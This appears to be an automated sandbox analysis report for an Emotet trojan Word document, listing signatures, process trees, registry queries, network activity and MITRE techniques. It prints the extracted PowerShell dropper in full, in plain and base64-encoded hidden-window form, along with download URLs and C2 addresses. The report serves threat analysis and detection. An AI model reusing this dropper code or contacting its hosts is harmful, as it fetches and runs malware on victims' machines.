emotet | e4ea8d11c4961b44e32cdcb1cda5fa05b33137c1066761bc195194d9133f13a1

General

Target

e4ea8d11c4961b44e32cdcb1cda5fa05b33137c1066761bc195194d9133f13a1.doc
Sample

191210-csaawyhn5x
SHA256

e4ea8d11c4961b44e32cdcb1cda5fa05b33137c1066761bc195194d9133f13a1

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

1
$Foboxugv='Jwgdbdovw';$Teyxaqtcm = '10';$Hofhcdaues='Kurudfxf';$Pisibadb=$env:userprofile+'\'+$Teyxaqtcm+'.exe';$Jirtznfh='Nugmipscu';$Rzjlthdjye=.('new-o'+'b'+'ject') Net.webClieNt;$Ngmoujtjvx='http://myphamthuydung.com/tmp/bwo/*http://lalletera.cat/bootstrap/ilym/*https://www.primepenguin.com/wp-admin/fefkbm/*https://www.ukrembtr.com/wp-admin/s3OYk/*https://shourayinfotech.xyz/wp-includes/pa1uxi/'."S`pLIT"('*');$Rggtgmts='Kkefwpie';foreach($Dqcphkgzdrohf in $Ngmoujtjvx){try{$Rzjlthdjye."dOwn`LOADFI`Le"($Dqcphkgzdrohf, $Pisibadb);$Xbjmpnelnnu='Csclasbl';If ((&('Get-'+'It'+'em') $Pisibadb)."LeN`GTH" -ge 31532) {[Diagnostics.Process]::"StA`Rt"($Pisibadb);$Dkchmzjyh='Pxtdthhe';break;$Zhcnueilm='Cejelwzndv'}}catch{}}$Zcfrxytdkvwd='Urvbnvft'

URLs

exe.dropper

http://myphamthuydung.com/tmp/bwo/

exe.dropper

http://lalletera.cat/bootstrap/ilym/

exe.dropper

https://www.primepenguin.com/wp-admin/fefkbm/

exe.dropper

https://www.ukrembtr.com/wp-admin/s3OYk/

exe.dropper

https://shourayinfotech.xyz/wp-includes/pa1uxi/

Extracted

Family

emotet

C2

2.38.99.79:80

98.24.231.64:80

47.156.70.145:80

37.59.24.177:8080

66.34.201.20:7080

108.179.206.219:8080

45.56.88.91:443

206.189.112.148:8080

120.150.246.241:80

190.56.255.118:80

200.71.148.138:8080

192.241.255.77:8080

211.63.71.72:8080

190.53.135.159:21

183.102.238.69:465

108.191.2.72:80

107.170.24.125:8080

167.114.242.226:8080

91.73.197.90:80

178.209.71.63:8080

rsa_pubkey.plain

1
-----BEGIN PUBLIC KEY-----
2
MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAKl4M80uy0jcxUiFIaJJyxgHVVnFtCq6
3
bi6f2xXPh/XUZNyN8UXDe5HzhTc4kwon9MBZffNwFOIc61QfV3K3YzEI/ktcyNqK
4
LS67ONxsVep769QdiVQJXrIaFjMXKz6viwIDAQAB
5
-----END PUBLIC KEY-----
6

Signatures

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4812	WINWORD.EXE

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1620 wrote to memory of 1616	1620	SppExtComObj.exe	76
PID 4400 wrote to memory of 4476	4400	Powershell.exe	80
PID 4476 wrote to memory of 1628	4476	10.exe	81

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4400	Powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
4476	10.exe
1628	10.exe

Suspicious behavior: EmotetMutantsSpam 1 IoCs

pid	Process
1628	10.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
4812	WINWORD.EXE
4476	10.exe
1628	10.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4812	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
4400	Powershell.exe

Checks system information in the registry 2 TTPs 2 IoCs

System information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0

Emotet
Emotet is a trojan that is primarily spread through spam emails
trojan banker emotet

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\e4ea8d11c4961b44e32cdcb1cda5fa05b33137c1066761bc195194d9133f13a1.doc" /o ""
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of FindShellTrayWindow
PID:4812

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
- Suspicious use of WriteProcessMemory
PID:1620
- C:\Windows\System32\SLUI.exe
  "C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent
  2⤵
  PID:1616

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABGAG8AYgBvAHgAdQBnAHYAPQAnAEoAdwBnAGQAYgBkAG8AdgB3ACcAOwAkAFQAZQB5AHgAYQBxAHQAYwBtACAAPQAgACcAMQAwACcAOwAkAEgAbwBmAGgAYwBkAGEAdQBlAHMAPQAnAEsAdQByAHUAZABmAHgAZgAnADsAJABQAGkAcwBpAGIAYQBkAGIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFQAZQB5AHgAYQBxAHQAYwBtACsAJwAuAGUAeABlACcAOwAkAEoAaQByAHQAegBuAGYAaAA9ACcATgB1AGcAbQBpAHAAcwBjAHUAJwA7ACQAUgB6AGoAbAB0AGgAZABqAHkAZQA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiACcAKwAnAGoAZQBjAHQAJwApACAATgBlAHQALgB3AGUAYgBDAGwAaQBlAE4AdAA7ACQATgBnAG0AbwB1AGoAdABqAHYAeAA9ACcAaAB0AHQAcAA6AC8ALwBtAHkAcABoAGEAbQB0AGgAdQB5AGQAdQBuAGcALgBjAG8AbQAvAHQAbQBwAC8AYgB3AG8ALwAqAGgAdAB0AHAAOgAvAC8AbABhAGwAbABlAHQAZQByAGEALgBjAGEAdAAvAGIAbwBvAHQAcwB0AHIAYQBwAC8AaQBsAHkAbQAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AcAByAGkAbQBlAHAAZQBuAGcAdQBpAG4ALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGYAZQBmAGsAYgBtAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgB1AGsAcgBlAG0AYgB0AHIALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHMAMwBPAFkAawAvACoAaAB0AHQAcABzADoALwAvAHMAaABvAHUAcgBhAHkAaQBuAGYAbwB0AGUAYwBoAC4AeAB5AHoALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBwAGEAMQB1AHgAaQAvACcALgAiAFMAYABwAEwASQBUACIAKAAnACoAJwApADsAJABSAGcAZwB0AGcAbQB0AHMAPQAnAEsAawBlAGYAdwBwAGkAZQAnADsAZgBvAHIAZQBhAGMAaAAoACQARABxAGMAcABoAGsAZwB6AGQAcgBvAGgAZgAgAGkAbgAgACQATgBnAG0AbwB1AGoAdABqAHYAeAApAHsAdAByAHkAewAkAFIAegBqAGwAdABoAGQAagB5AGUALgAiAGQATwB3AG4AYABMAE8AQQBEAEYASQBgAEwAZQAiACgAJABEAHEAYwBwAGgAawBnAHoAZAByAG8AaABmACwAIAAkAFAAaQBzAGkAYgBhAGQAYgApADsAJABYAGIAagBtAHAAbgBlAGwAbgBuAHUAPQAnAEMAcwBjAGwAYQBzAGIAbAAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQB0ACcAKwAnAGUAbQAnACkAIAAkAFAAaQBzAGkAYgBhAGQAYgApAC4AIgBMAGUATgBgAEcAVABIACIAIAAtAGcAZQAgADMAMQA1ADMAMgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAHQAQQBgAFIAdAAiACgAJABQAGkAcwBpAGIAYQBkAGIAKQA7ACQARABrAGMAaABtAHoAagB5AGgAPQAnAFAAeAB0AGQAdABoAGgAZQAnADsAYgByAGUAYQBrADsAJABaAGgAYwBuAHUAZQBpAGwAbQA9ACcAQwBlAGoAZQBsAHcAegBuAGQAdgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABaAGMAZgByAHgAeQB0AGQAawB2AHcAZAA9ACcAVQByAHYAYgBuAHYAZgB0ACcA
1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:4400
- C:\Users\Admin\10.exe
  "C:\Users\Admin\10.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:4476
- - C:\Users\Admin\10.exe
    --40d6fa9
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EmotetMutantsSpam
    - Suspicious use of SetWindowsHookEx
    PID:1628

Network

45.119.214.132:80

myphamthuydung.com

10.10.0.255:137
10.10.0.10:137
8.8.8.8:53

myphamthuydung.com

DNS Request

myphamthuydung.com

DNS Response

45.119.214.132

224.0.0.22

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1628-11-0x00000000020B0000-0x00000000020C7000-memory.dmp

Filesize
92KB

Download
memory/1628-12-0x0000000000400000-0x000000000047C000-memory.dmp

Filesize
496KB

Download
memory/4476-9-0x0000000002280000-0x0000000002297000-memory.dmp

Filesize
92KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

DNS Request

DNS Response

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

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